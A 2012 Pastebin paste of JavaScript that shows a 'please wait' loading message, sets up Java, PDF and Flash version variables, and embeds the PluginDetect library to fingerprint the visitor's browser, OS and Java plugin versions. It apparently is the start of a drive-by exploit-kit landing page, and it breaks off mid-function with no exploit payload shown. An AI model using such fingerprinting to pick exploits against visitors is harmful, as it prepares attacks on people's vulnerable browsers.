Advertisement
johnburn

Untitled

Feb 2nd, 2012
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. document.write('<center><h1>Please wait page is loading...</h1></center><hr>');
  2.  
  3. function end_redirect() {}
  4. var jver = [0, 0, 0, 0],
  5.     pdfver = [0, 0, 0, 0],
  6.     flashver = [0, 0, 0, 0];
  7. try {
  8.     var PluginDetect = {
  9.         handler: function (c, b, a) {
  10.             return function () {
  11.                 c(b, a)
  12.             }
  13.         },
  14.         isDefined: function (b) {
  15.             return typeof b != "undefined"
  16.         },
  17.         isArray: function (b) {
  18.             return (/array/i).test(Object.prototype.toString.call(b))
  19.         },
  20.         isFunc: function (b) {
  21.             return typeof b == "function"
  22.         },
  23.         isString: function (b) {
  24.             return typeof b == "string"
  25.         },
  26.         isNum: function (b) {
  27.             return typeof b == "number"
  28.         },
  29.         isStrNum: function (b) {
  30.             return (typeof b == "string" && (/\d/).test(b))
  31.         },
  32.         getNumRegx: /[\d][\d\.\_,-]*/,
  33.         splitNumRegx: /[\.\_,-]/g,
  34.         getNum: function (b, c) {
  35.             var d = this,
  36.                 a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  37.             return a ? a[0] : null
  38.         },
  39.         compareNums: function (h, f, d) {
  40.             var e = this,
  41.                 c, b, a, g = parseInt;
  42.             if (e.isStrNum(h) && e.isStrNum(f)) {
  43.                 if (e.isDefined(d) && d.compareNums) {
  44.                     return d.compareNums(h, f)
  45.                 }
  46.                 c = h.split(e.splitNumRegx);
  47.                 b = f.split(e.splitNumRegx);
  48.                 for (a = 0; a < Math.min(c.length, b.length); a++) {
  49.                     if (g(c[a], 10) > g(b[a], 10)) {
  50.                         return 1
  51.                     }
  52.                     if (g(c[a], 10) < g(b[a], 10)) {
  53.                         return -1
  54.                     }
  55.                 }
  56.             }
  57.             return 0
  58.         },
  59.         formatNum: function (b, c) {
  60.             var d = this,
  61.                 a, e;
  62.             if (!d.isStrNum(b)) {
  63.                 return null
  64.             }
  65.             if (!d.isNum(c)) {
  66.                 c = 4
  67.             }
  68.             c--;
  69.             e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  70.             for (a = 0; a < 4; a++) {
  71.                 if (/^(0+)(.+)$/.test(e[a])) {
  72.                     e[a] = RegExp.$2
  73.                 }
  74.                 if (a > c || !(/\d/).test(e[a])) {
  75.                     e[a] = "0"
  76.                 }
  77.             }
  78.             return e.slice(0, 4).join(",")
  79.         },
  80.         $$hasMimeType: function (a) {
  81.             return function (d) {
  82.                 if (!a.isIE && d) {
  83.                     var c, b, e, f = a.isString(d) ? [d] : d;
  84.                     if (!f || !f.length) {
  85.                         return null
  86.                     }
  87.                     for (e = 0; e < f.length; e++) {
  88.                         if (/[^\s]/.test(f[e]) && (c = navigator.mimeTypes[f[e]]) && (b = c.enabledPlugin) && (b.name || b.description)) {
  89.                             return c
  90.                         }
  91.                     }
  92.                 }
  93.                 return null
  94.             }
  95.         },
  96.         findNavPlugin: function (l, e, c) {
  97.             var j = this,
  98.                 h = new RegExp(l, "i"),
  99.                 d = (!j.isDefined(e) || e) ? /\d/ : 0,
  100.                 k = c ? new RegExp(c, "i") : 0,
  101.                 a = navigator.plugins,
  102.                 g = "",
  103.                 f, b, m;
  104.             for (f = 0; f < a.length; f++) {
  105.                 m = a[f].description || g;
  106.                 b = a[f].name || g;
  107.                 if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  108.                     if (!k || !(k.test(m) || k.test(b))) {
  109.                         return a[f]
  110.                     }
  111.                 }
  112.             }
  113.             return null
  114.         },
  115.         getMimeEnabledPlugin: function (a, f) {
  116.             var e = this,
  117.                 b, c = new RegExp(f, "i"),
  118.                 d = "";
  119.             if ((b = e.hasMimeType(a)) && (b = b.enabledPlugin) && (c.test(b.description || d) || c.test(b.name || d))) {
  120.                 return b
  121.             }
  122.             return 0
  123.         },
  124.         getPluginFileVersion: function (f, b) {
  125.             var h = this,
  126.                 e, d, g, a, c = -1;
  127.             if (h.OS > 2 || !f || !f.version || !(e = h.getNum(f.version))) {
  128.                 return b
  129.             }
  130.             if (!b) {
  131.                 return e
  132.             }
  133.             e = h.formatNum(e);
  134.             b = h.formatNum(b);
  135.             d = b.split(h.splitNumRegx);
  136.             g = e.split(h.splitNumRegx);
  137.             for (a = 0; a < d.length; a++) {
  138.                 if (c > -1 && a > c && !(d[a] == "0")) {
  139.                     return b
  140.                 }
  141.                 if (g[a] != d[a]) {
  142.                     if (c == -1) {
  143.                         c = a
  144.                     }
  145.                     if (d[a] != "0") {
  146.                         return b
  147.                     }
  148.                 }
  149.             }
  150.             return e
  151.         },
  152.         AXO: window.ActiveXObject,
  153.         getAXO: function (b) {
  154.             var f = null,
  155.                 d, c = this,
  156.                 a;
  157.             try {
  158.                 f = new c.AXO(b)
  159.             } catch (d) {}
  160.             return f
  161.         },
  162.         convertFuncs: function (g) {
  163.             var a, h, f, b = /^[$][$]/,
  164.                 d = {},
  165.                 c = this;
  166.             for (a in g) {
  167.                 if (b.test(a)) {
  168.                     d[a] = 1
  169.                 }
  170.             }
  171.             for (a in d) {
  172.                 try {
  173.                     h = a.slice(2);
  174.                     if (h.length > 0 && !g[h]) {
  175.                         g[h] = g[a](g);
  176.                         delete g[a]
  177.                     }
  178.                 } catch (f) {}
  179.             }
  180.         },
  181.         initScript: function () {
  182.             var c = this,
  183.                 a = navigator,
  184.                 e = "/",
  185.                 i = a.userAgent || "",
  186.                 g = a.vendor || "",
  187.                 b = a.platform || "",
  188.                 h = a.product || "";
  189.             c.OS = 100;
  190.             if (b) {
  191.                 var f, d = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win" + ".*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "", 100];
  192.                 for (f = d.length - 2; f >= 0; f = f - 2) {
  193.                     if (d[f] && new RegExp(d[f], "i").test(b)) {
  194.                         c.OS = d[f + 1];
  195.                         break
  196.                     }
  197.                 }
  198.             }
  199.             c.convertFuncs(c);
  200.             c.isIE = new Function("return " + e + "*@" + "cc_on!@*" + e + "fa" + "lse")();
  201.             c.verIE = c.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(i) ? parseFloat(RegExp.$1, 10) : null;
  202.             c.ActiveXEnabled = false;
  203.             if (c.isIE) {
  204.                 var f, j = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper", "Scripting.Dictionary", "wmplayer.ocx"];
  205.                 for (f = 0; f < j.length; f++) {
  206.                     if (c.getAXO(j[f])) {
  207.                         c.ActiveXEnabled = true;
  208.                         break
  209.                     }
  210.                 }
  211.                 c.head = c.isDefined(document.getElementsByTagName) ? document.getElementsByTagName("head")[0] : null
  212.             }
  213.             c.isGecko = (/Gecko/i).test(h) && 1 && (/Gecko\s*\/\s*\d/i).test(i);
  214.             c.verGecko = c.isGecko ? c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i) ? RegExp.$1 : "0.9") : null;
  215.             c.isSafari = (/Safari\s*\/\s*\d/i).test(i) && (/Apple/i).test(g);
  216.             c.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
  217.             c.verChrome = c.isChrome ? c.formatNum(RegExp.$1) : null;
  218.             c.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
  219.             c.verOpera = c.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(i) || 1) ? parseFloat(RegExp.$1, 10) : null;
  220.             c.addWinEvent("load", c.handler(c.runWLfuncs, c))
  221.         },
  222.         init: function (c) {
  223.             var b = this,
  224.                 a, c;
  225.             if (!b.isString(c)) {
  226.                 return -3
  227.             }
  228.             if (c.length == 1) {
  229.                 b.getVersionDelimiter = c;
  230.                 return -3
  231.             }
  232.             c = c.toLowerCase().replace(/\s/g, "");
  233.             a = b[c];
  234.             if (!a || !a.getVersion) {
  235.                 return -3
  236.             }
  237.             b.plugin = a;
  238.             if (!b.isDefined(a.installed)) {
  239.                 a.installed = a.version = a.version0 = a.getVersionDone = null;
  240.                 a.$ = b;
  241.                 a.pluginName = c
  242.             }
  243.             b.garbage = false;
  244.             if (b.isIE && !b.ActiveXEnabled) {
  245.                 if (a !== b.java) {
  246.                     return -2
  247.                 }
  248.             }
  249.             return 1
  250.         },
  251.         fPush: function (b, a) {
  252.             var c = this;
  253.             if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && b.length >= 1 && c.isFunc(b[0])))) {
  254.                 a.push(b)
  255.             }
  256.         },
  257.         callArray: function (b) {
  258.             var c = this,
  259.                 a;
  260.             if (c.isArray(b)) {
  261.                 for (a = 0; a < b.length; a++) {
  262.                     if (b[a] === null) {
  263.                         return
  264.                     }
  265.                     c.call(b[a]);
  266.                     b[a] = null
  267.                 }
  268.             }
  269.         },
  270.         call: function (c) {
  271.             var b = this,
  272.                 a = b.isArray(c) ? c.length : -1;
  273.             if (a > 0 && b['isFunc'](c[0])) {
  274.                 c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
  275.             } else {
  276.                 if (b.isFunc(c)) {
  277.                     c(b)
  278.                 }
  279.             }
  280.         },
  281.         getVersionDelimiter: ",",
  282.         $$getVersion: function (a) {
  283.             return function (g, d, c) {
  284.                 var e = a.init(g),
  285.                     f, b, h;
  286.                 if (e < 0) {
  287.                     return null
  288.                 };
  289.                 f = a.plugin;
  290.                 if (f.getVersionDone != 1) {
  291.                     f.getVersion(null, d, c);
  292.                     if (f.getVersionDone === null) {
  293.                         f.getVersionDone = 1
  294.                     }
  295.                 }
  296.                 a.cleanup();
  297.                 b = (f.version || f.version0);
  298.                 b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
  299.                 return b
  300.             }
  301.         },
  302.         cleanup: function () {
  303.             var a = this;
  304.             if (a.garbage && a.isDefined(window.CollectGarbage)) {
  305.                 window.CollectGarbage()
  306.             }
  307.         },
  308.         addWinEvent: function (d, c) {
  309.             var e = this,
  310.                 a = window,
  311.                 b;
  312.             if (e.isFunc(c)) {
  313.                 if (a.addEventListener) {
  314.                     a.addEventListener(d, c, false)
  315.                 } else {
  316.                     if (a.attachEvent) {
  317.                         a.attachEvent("on" + d, c)
  318.                     } else {
  319.                         b = a["on" + d];
  320.                         a["on" + d] = e.winHandler(c, b)
  321.                     }
  322.                 }
  323.             }
  324.         },
  325.         winHandler: function (d, c) {
  326.             return function () {
  327.                 d();
  328.                 if (typeof c == "function") {
  329.                     c()
  330.                 }
  331.             }
  332.         },
  333.         WLfuncs0: [],
  334.         WLfuncs: [],
  335.         runWLfuncs: function (a) {
  336.             a.winLoaded = true;
  337.             a.callArray(a.WLfuncs0);
  338.             a.callArray(a.WLfuncs);
  339.             if (a.onDoneEmptyDiv) {
  340.                 a.onDoneEmptyDiv()
  341.             }
  342.         },
  343.         winLoaded: false,
  344.         $$onWindowLoaded: function (a) {
  345.             return function (b) {
  346.                 if (a.winLoaded) {
  347.                     a.call(b)
  348.                 } else {
  349.                     a.fPush(b, a.WLfuncs)
  350.                 }
  351.             }
  352.         },
  353.         $$onDetectionDone: function (a) {
  354.             return function (h, g, c, b) {
  355.                 var d = a.init(h),
  356.                     j, e;
  357.                 if (d == -3) {
  358.                     return -1
  359.                 }
  360.                 e = a.plugin;
  361.                 if (!a.isArray(e.funcs)) {
  362.                     e.funcs = []
  363.                 }
  364.                 if (e.getVersionDone != 1) {
  365.                     j = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
  366.                 }
  367.                 if (e.installed != -0.5 && e.installed != 0.5) {
  368.                     a.call(g);
  369.                     return 1
  370.                 }
  371.                 if (e.NOTF) {
  372.                     a.fPush(g, e.funcs);
  373.                     return 0
  374.                 }
  375.                 return 1
  376.             }
  377.         },
  378.         div: null,
  379.         divWidth: 50,
  380.         pluginSize: 1,
  381.         emptyDiv: function () {
  382.             var c = this,
  383.                 a, e, b, d = 0;
  384.             if (c.div && c.div.childNodes) {
  385.                 for (a = c.div.childNodes.length - 1; a >= 0; a--) {
  386.                     b = c.div.childNodes[a];
  387.                     if (b && b.childNodes) {
  388.                         if (d == 0) {
  389.                             for (e = b.childNodes.length - 1; e >= 0; e--) {
  390.                                 b.removeChild(b.childNodes[e])
  391.                             }
  392.                             c.div.removeChild(b)
  393.                         } else {}
  394.                     }
  395.                 }
  396.             }
  397.         },
  398.         DONEfuncs: [],
  399.         onDoneEmptyDiv: function () {
  400.             var c = this,
  401.                 a, b;
  402.             if (!c.winLoaded) {
  403.                 return
  404.             }
  405.             if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null) {
  406.                 return
  407.             }
  408.             for (a in c) {
  409.                 b = c[a];
  410.                 if (b && b.funcs) {
  411.                     if (b.OTF == 3) {
  412.                         return
  413.                     }
  414.                     if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null) {
  415.                         return
  416.                     }
  417.                 }
  418.             }
  419.             for (a = 0; a < c.DONEfuncs.length; a++) {
  420.                 c.callArray(c.DONEfuncs)
  421.             }
  422.             c.emptyDiv()
  423.         },
  424.         getWidth: function (c) {
  425.             if (c) {
  426.                 var a = c.scrollWidth || c.offsetWidth,
  427.                     b = this;
  428.                 if (b.isNum(a)) {
  429.                     return a
  430.                 }
  431.             }
  432.             return -1
  433.         },
  434.         getTagStatus: function (m, g, a, b) {
  435.             var c = this,
  436.                 f, k = m.span,
  437.                 l = c.getWidth(k),
  438.                 h = a.span,
  439.                 j = c.getWidth(h),
  440.                 d = g.span,
  441.                 i = c.getWidth(d);
  442.             if (!k || !h || !d || !c.getDOMobj(m)) {
  443.                 return -2
  444.             }
  445.             if (j < i || l < 0 || j < 0 || i < 0 || !(i > c.pluginSize) || c.pluginSize < 1) {
  446.                 return 0
  447.             }
  448.             if (l >= i) {
  449.                 return -1
  450.             }
  451.             try {
  452.                 if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)) {
  453.                     if (!m.winLoaded && c.winLoaded) {
  454.                         return 1
  455.                     }
  456.                     if (m.winLoaded && c.isNum(b)) {
  457.                         if (!c.isNum(m.count)) {
  458.                             m.count = b
  459.                         }
  460.                         if (b - m.count >= 10) {
  461.                             return 1
  462.                         }
  463.                     }
  464.                 }
  465.             } catch (f) {}
  466.             return 0
  467.         },
  468.         getDOMobj: function (g, a) {
  469.             var f, d = this,
  470.                 c = g ? g.span : 0,
  471.                 b = c && c.firstChild ? 1 : 0;
  472.             try {
  473.                 if (b && a) {
  474.                     c.firstChild.focus()
  475.                 }
  476.             } catch (f) {}
  477.             return b ? c.firstChild : null
  478.         },
  479.         setStyle: function (b, g) {
  480.             var f = b.style,
  481.                 a, d, c = this;
  482.             if (f && g) {
  483.                 for (a = 0; a < g.length; a = a + 2) {
  484.                     try {
  485.                         f[g[a]] = g[a + 1]
  486.                     } catch (d) {}
  487.                 }
  488.             }
  489.         },
  490.         insertDivInBody: function (i) {
  491.             var g, d = this,
  492.                 h = "pd33993399",
  493.                 c = null,
  494.                 f = document,
  495.                 b = "<",
  496.                 a = (f.getElementsByTagName("body")[0] || f.body);
  497.             if (!a) {
  498.                 try {
  499.                     f.write(b + 'div id="' + h + '">o' + b + "/div>");
  500.                     c = f.getElementById(h)
  501.                 } catch (g) {}
  502.             }
  503.             a = (f.getElementsByTagName("body")[0] || f.body);
  504.             if (a) {
  505.                 if (a.firstChild && d.isDefined(a.insertBefore)) {
  506.                     a.insertBefore(i, a.firstChild)
  507.                 } else {
  508.                     a.appendChild(i)
  509.                 }
  510.                 if (c) {
  511.                     a.removeChild(c)
  512.                 }
  513.             } else {}
  514.         },
  515.         insertHTML: function (g, b, h, a, k) {
  516.             var l, m = document,
  517.                 j = this,
  518.                 q, o = m.createElement("span"),
  519.                 n, i, f = "<";
  520.             var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"];
  521.             if (!j.isDefined(a)) {
  522.                 a = ""
  523.             }
  524.             if (j.isString(g) && (/[^\s]/).test(g)) {
  525.                 q = f + g + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
  526.                 for (n = 0; n < b.length; n = n + 2) {
  527.                     if (/[^\s]/.test(b[n + 1])) {
  528.                         q += b[n] + '="' + b[n + 1] + '" '
  529.                     }
  530.                 }
  531.                 q += ">";
  532.                 for (n = 0; n < h.length; n = n + 2) {
  533.                     if (/[^\s]/.test(h[n + 1])) {
  534.                         q += f + 'param name="' + h[n] + '" value="' + h[n + 1] + '" />'
  535.                     }
  536.                 }
  537.                 q += a + f + "/" + g + ">"
  538.             } else {
  539.                 q = a
  540.             }
  541.             if (!j.div) {
  542.                 j.div = m.createElement("div");
  543.                 i = m.getElementById("plugindetect");
  544.                 if (i) {
  545.                     j.div = i
  546.                 } else {
  547.                     j.div.id = "plugindetect";
  548.                     j.insertDivInBody(j.div)
  549.                 }
  550.                 j.setStyle(j.div, c.concat(["width", j.divWidth + "px", "height", (j.pluginSize + 3) + "px", "fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "block"]));
  551.                 if (!i) {
  552.                     j.setStyle(j.div, ["position", "absolute", "right", "0px", "top", "0px"])
  553.                 }
  554.             }
  555.             if (j.div && j.div.parentNode) {
  556.                 j.div.appendChild(o);
  557.                 j.setStyle(o, c.concat(["fontSize", (j.pluginSize + 3) + "px", "lineHeight", (j.pluginSize + 3) + "px", "verticalAlign", "baseline", "display", "inline"]));
  558.                 try {
  559.                     if (o && o.parentNode) {
  560.                         o.focus()
  561.                     }
  562.                 } catch (l) {}
  563.                 try {
  564.                     o.innerHTML = q
  565.                 } catch (l) {}
  566.                 if (o.childNodes.length == 1 && (j.isGecko && j.compareNums(j.verGecko, "1" + ",5,0,0") >= 0)) {
  567.                     j.setStyle(o.firstChild, c.concat(["display", "inline"]))
  568.                 }
  569.                 return {
  570.                     span: o,
  571.                     winLoaded: j.winLoaded,
  572.                     tagName: (j.isString(g) ? g : "")
  573.                 }
  574.             }
  575.             return {
  576.                 span: null,
  577.                 winLoaded: j.winLoaded,
  578.                 tagName: ""
  579.             }
  580.         },
  581.         java: {
  582.             mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  583.             mimeTypeJPI: "application/x-java-applet;jpi-version=",
  584.             classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  585.             DTKclassID: "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA",
  586.             DTKmimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  587.             forceVerifyTag: [],
  588.             jar: [],
  589.             Enabled: navigator.javaEnabled(),
  590.             VENDORS: ["Sun Microsystems Inc.", "Apple Computer, Inc."],
  591.             OTF: null,
  592.             All_versions: [],
  593.             mimeTypeJPIresult: "",
  594.             JavaPlugin_versions: [],
  595.             JavaVersions: [
  596.                 [1, 9, 2, 30],
  597.                 [1, 8, 2, 30],
  598.                 [1, 7, 2, 30],
  599.                 [1, 6, 1, 30],
  600.                 [1, 5, 1, 30],
  601.                 [1, 4, 2, 30],
  602.                 [1, 3, 1, 29 + 1]
  603.             ],
  604.             searchJavaPluginAXO: function () {
  605.                 var h = null,
  606.                     a = this,
  607.                     c = a.$,
  608.                     g = [],
  609.                     j = [1, 5, 0, 14],
  610.                     i = [1, 6, 0, 2],
  611.                     f = [1, 3, 1, 0],
  612.                     e = [1, 4, 2, 0],
  613.                     d = [1, 5, 0, 7],
  614.                     b = false;
  615.                 if (!c.ActiveXEnabled) {
  616.                     return null
  617.                 };
  618.                 if (c.verIE - a.minIEver > -1) {
  619.                     g = a.searchJavaAXO(i, i, b);
  620.                     if (g.length >= 1 && b) {
  621.                         g = a.searchJavaAXO(j, j, b)
  622.                     }
  623.                 } else {
  624.                     if (g.length == 0) {
  625.                         g = a.searchJavaAXO(f, e, false)
  626.                     }
  627.                 }
  628.                 if (g.length > 0) {
  629.                     h = g[0]
  630.                 }
  631.                 a.JavaPlugin_versions = [].concat(g);
  632.                 return h
  633.             },
  634.             searchJavaAXO: function (l, i, m) {
  635.                 var n, f, h = this.$,
  636.                     q, k, a, e, g, j, b, r = [];
  637.                 if (h.compareNums(l.join(","), i.join(",")) > 0) {
  638.                     i = l
  639.                 }
  640.                 i = h.formatNum(i.join(","));
  641.                 var o, d = "1,4,2,0",
  642.                     c = "JavaPlugin." + l[0] + "" + l[1] + "" + l[2] + "" + (l[3] > 0 ? ("_" + (l[3] < 10 ? "0" : "") + l[3]) : "");
  643.                 for (n = 0; n < this.JavaVersions.length; n++) {
  644.                     f = this.JavaVersions[n];
  645.                     q = "JavaPlugin." + f[0] + "" + f[1];
  646.                     g = f[0] + "." + f[1] + ".";
  647.                     for (a = f[2]; a >= 0; a--) {
  648.                         b = "JavaWebStart.isInstalled." + g + a + ".0";
  649.                         if (h.compareNums(f[0] + "," + f[1] + "," + a + ",0", i) >= 0 && !h.getAXO(b)) {
  650.                             continue
  651.                         }
  652.                         o = h.compareNums(f[0] + "," + f[1] + "," + a + ",0", d) < 0 ? true : false;
  653.                         for (e = f[3]; e >= 0; e--) {
  654.                             k = a + "_" + (e < 10 ? "0" + e : e);
  655.                             j = q + k;
  656.                             if (h.getAXO(j) && (o || h.getAXO(b))) {
  657.                                 r.push(g + k);
  658.                                 if (!m) {
  659.                                     return r
  660.                                 }
  661.                             }
  662.                             if (j == c) {
  663.                                 return r
  664.                             }
  665.                         }
  666.                         if (h.getAXO(q + a) && (o || h.getAXO(b))) {
  667.                             r.push(g + a);
  668.                             if (!m) {
  669.                                 return r
  670.                             }
  671.                         }
  672.                         if (q + a == c) {
  673.                             return r
  674.                         }
  675.                     }
  676.                 }
  677.                 return r
  678.             },
  679.             minIEver: 7,
  680.             getMimeJPIversion: function () {
  681.                 var h, a = this,
  682.                     d = a.$,
  683.                     c = new RegExp("(" + a.mimeTypeJPI + ")(\d.*)", "i"),
  684.                     k = new RegExp("Java", "i"),
  685.                     e, j, f = "",
  686.                     i = {},
  687.                     g = 0,
  688.                     b;
  689.                 for (h = 0; h < navigator.mimeTypes.length; h++) {
  690.                     j = navigator.mimeTypes[h];
  691.                     if (c.test(j.type) && (e = j.enabledPlugin) && (j = RegExp.$2) && (k.test(e.description || f) || k.test(e.name || f))) {
  692.                         i["a" + d.formatNum(j)] = j
  693.                     }
  694.                 }
  695.                 b = "0,0,0,0";
  696.                 for (h in i) {
  697.                     g++;
  698.                     e = h.slice(1);
  699.                     if (d.compareNums(e, b) > 0) {
  700.                         b = e
  701.                     }
  702.                 }
  703.                 a.mimeTypeJPIresult = g >= 1 ? a.mimeTypeJPI + i["a" + b] : "";
  704.                 return g > 0 ? b : null
  705.             },
  706.             getVersion: function (m, d, l) {
  707.                 var f, c = this,
  708.                     e = c.$,
  709.                     h = c.NOTF,
  710.                     b = c.applet,
  711.                     j = c.verify,
  712.                     i = vendor = versionEnabled = null;
  713.                 if (c.getVersionDone === null) {
  714.                     c.OTF = 0;
  715.                     c.mimeObj = e.hasMimeType(c.mimeType);
  716.                     c.deployTK.$ = e;
  717.                     c.deployTK.parentNode = c;
  718.                     b.$ = e;
  719.                     b.parentNode = c;
  720.                     if (h) {
  721.                         h.$ = e;
  722.                         h.parentNode = c
  723.                     }
  724.                     if (j) {
  725.                         j.parentNode = c;
  726.                         j.$ = e;
  727.                         j.init()
  728.                     }
  729.                 }
  730.                 var k;
  731.                 if (e.isArray(l)) {
  732.                     for (k = 0; k < b.allowed.length; k++) {
  733.                         if (e.isNum(l[k])) {
  734.                             b.allowed[k] = l[k]
  735.                         }
  736.                     }
  737.                 }
  738.                 for (k = 0; k < c.forceVerifyTag.length; k++) {
  739.                     b.allowed[k] = c.forceVerifyTag[k]
  740.                 }
  741.                 if (e.isString(d)) {
  742.                     c.jar.push(d)
  743.                 }
  744.                 if (c.getVersionDone == 0) {
  745.                     if (!c.version || b.canTryAny()) {
  746.                         f = b.insertHTMLQueryAll(d);
  747.                         if (f[0]) {
  748.                             c.installed = 1;
  749.                             c.EndGetVersion(f[0], f[1])
  750.                         }
  751.                     }
  752.                     return
  753.                 }
  754.                 var g = c.deployTK.query();
  755.                 if (g.JRE) {
  756.                     i = g.JRE;
  757.                     vendor = c.VENDORS[0]
  758.                 }
  759.                 if (!e.isIE) {
  760.                     var q, n, a, o;
  761.                     o = (c.mimeObj && c.Enabled) ? true : false;
  762.                     if (!i && (f = c.getMimeJPIversion()) !== null) {
  763.                         i = f
  764.                     }
  765.                     if (!i && c.mimeObj) {
  766.                         f = "Java[^\d]*Plug-in";
  767.                         a = e.findNavPlugin(f);
  768.                         if (a) {
  769.                             f = new RegExp(f, "i");
  770.                             q = f.test(a.description || "") ? e.getNum(a.description) : null;
  771.                             n = f.test(a.name || "") ? e.getNum(a.name) : null;
  772.                             if (q && n) {
  773.                                 i = (e.compareNums(e.formatNum(q), e.formatNum(n)) >= 0) ? q : n
  774.                             } else {
  775.                                 i = q || n
  776.                             }
  777.                         }
  778.                     }
  779.                     if (!i && c.mimeObj && e.isSafari && e.OS == 2) {
  780.                         a = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
  781.                         if (a) {
  782.                             q = e.getNum(a.description);
  783.                             if (q) {
  784.                                 i = q
  785.                             }
  786.                         }
  787.                     }
  788.                     if (i) {
  789.                         c.version0 = i;
  790.                         if (c.Enabled) {
  791.                             versionEnabled = i
  792.                         }
  793.                     }
  794.                 } else {
  795.                     if (!i && g.status == 0) {
  796.                         i = c.searchJavaPluginAXO();
  797.                         if (i) {
  798.                             vendor = c.VENDORS[0]
  799.                         }
  800.                     }
  801.                     if (i) {
  802.                         c.version0 = i;
  803.                         if (c.Enabled && e.ActiveXEnabled) {
  804.                             versionEnabled = i
  805.                         }
  806.                     }
  807.                 }
  808.                 if (!versionEnabled || b.canTryAny()) {
  809.                     f = b.insertHTMLQueryAll(d);
  810.                     if (f[0]) {
  811.                         versionEnabled = f[0];
  812.                         vendor = f[1]
  813.                     }
  814.                 }
  815.                 if (!versionEnabled && (f = c.queryWithoutApplets())[0]) {
  816.                     c.version0 = versionEnabled = f[0];
  817.                     vendor = f[1];
  818.                     if (c.installed == -0.5) {
  819.                         c.installed = 0.5
  820.                     }
  821.                 }
  822.                 if (e.isSafari && e.OS == 2) {
  823.                     if (!versionEnabled && o) {
  824.                         if (c.installed === null) {
  825.                             c.installed = 0
  826.                         } else {
  827.                             if (c.installed == -0.5) {
  828.                                 c.installed = 0.5
  829.                             }
  830.                         }
  831.                     }
  832.                 }
  833.                 if (c.jreDisabled()) {
  834.                     versionEnabled = null
  835.                 };
  836.                 if (c.installed === null) {
  837.                     c.installed = versionEnabled ? 1 : (i ? -0.2 : -1)
  838.                 }
  839.                 c.EndGetVersion(versionEnabled, vendor)
  840.             },
  841.             EndGetVersion: function (b, d) {
  842.                 var a = this,
  843.                     c = a.$;
  844.                 if (a.version0) {
  845.                     a.version0 = c.formatNum(c.getNum(a.version0))
  846.                 }
  847.                 if (b) {
  848.                     a.version = c.formatNum(c.getNum(b));
  849.                     a.vendor = (c.isString(d) ? d : "")
  850.                 }
  851.                 if (a.getVersionDone != 1) {
  852.                     a.getVersionDone = 0
  853.                 }
  854.             },
  855.             jreDisabled: function () {
  856.                 var b = this,
  857.                     d = b.$,
  858.                     c = b.deployTK.query().JRE,
  859.                     a;
  860.                 if (c && d.OS == 1) {
  861.                     if ((d.isGecko && d.compareNums(d.verGecko, "1,9,2,0") >= 0 && d.compareNums(c, "1,6,0,12") < 0) || (d.isChrome && d.compareNums(c, "1,6,0,12") < 0)) {
  862.                         return 1
  863.                     }
  864.                 };
  865.                 if (d.isOpera && (d.verOpera - (8 + 1) >= 0) && !b.Enabled && !b.mimeObj && !b.queryWithoutApplets()[0]) {
  866.                     return 1
  867.                 }
  868.                 if ((d.isGecko || d.isChrome) && !b.mimeObj && !b.queryWithoutApplets()[0]) {
  869.                     return 1
  870.                 }
  871.                 return 0
  872.             },
  873.             deployTK: {
  874.                 status: null,
  875.                 JREall: [],
  876.                 JRE: null,
  877.                 HTML: null,
  878.                 query: function () {
  879.                     var f = this,
  880.                         h = f.$,
  881.                         c = f.parentNode,
  882.                         i, a, b, g = len = null;
  883.                     if (f.status !== null) {
  884.                         return f
  885.                     }
  886.                     f.status = 0;
  887.                     if (!(h.isGecko && h.compareNums(h.verGecko, h.formatNum("1.6")) >= 1) || h['isSafari'] || h.isChrome || (h.isIE && !h.ActiveXEnabled)) {
  888.                         return f
  889.                     }
  890.                     if (h.isIE && (h.verIE - (5 + 1) >= 0)) {
  891.                         f.HTML = h.insertHTML("object", [], []);
  892.                         g = h.getDOMobj(f.HTML)
  893.                     } else {
  894.                         if (!h.isIE && (b = h.hasMimeType(c.DTKmimeType)) && b.type) {
  895.                             f.HTML = h.insertHTML("object", ["type", b.type], []);
  896.                             g = h.getDOMobj(f.HTML)
  897.                         }
  898.                     }
  899.                     if (g) {
  900.                         if (h.isIE && (h.verIE - (5 + 1) >= 0)) {
  901.                             try {
  902.                                 g.classid = c.DTKclassID
  903.                             } catch (i) {}
  904.                         };
  905.                         try {
  906.                             var d = g.jvms;
  907.                             if (d) {
  908.                                 len = d.getLength();
  909.                                 if (h.isNum(len)) {
  910.                                     f.status = len > 0 ? 1 : -1;
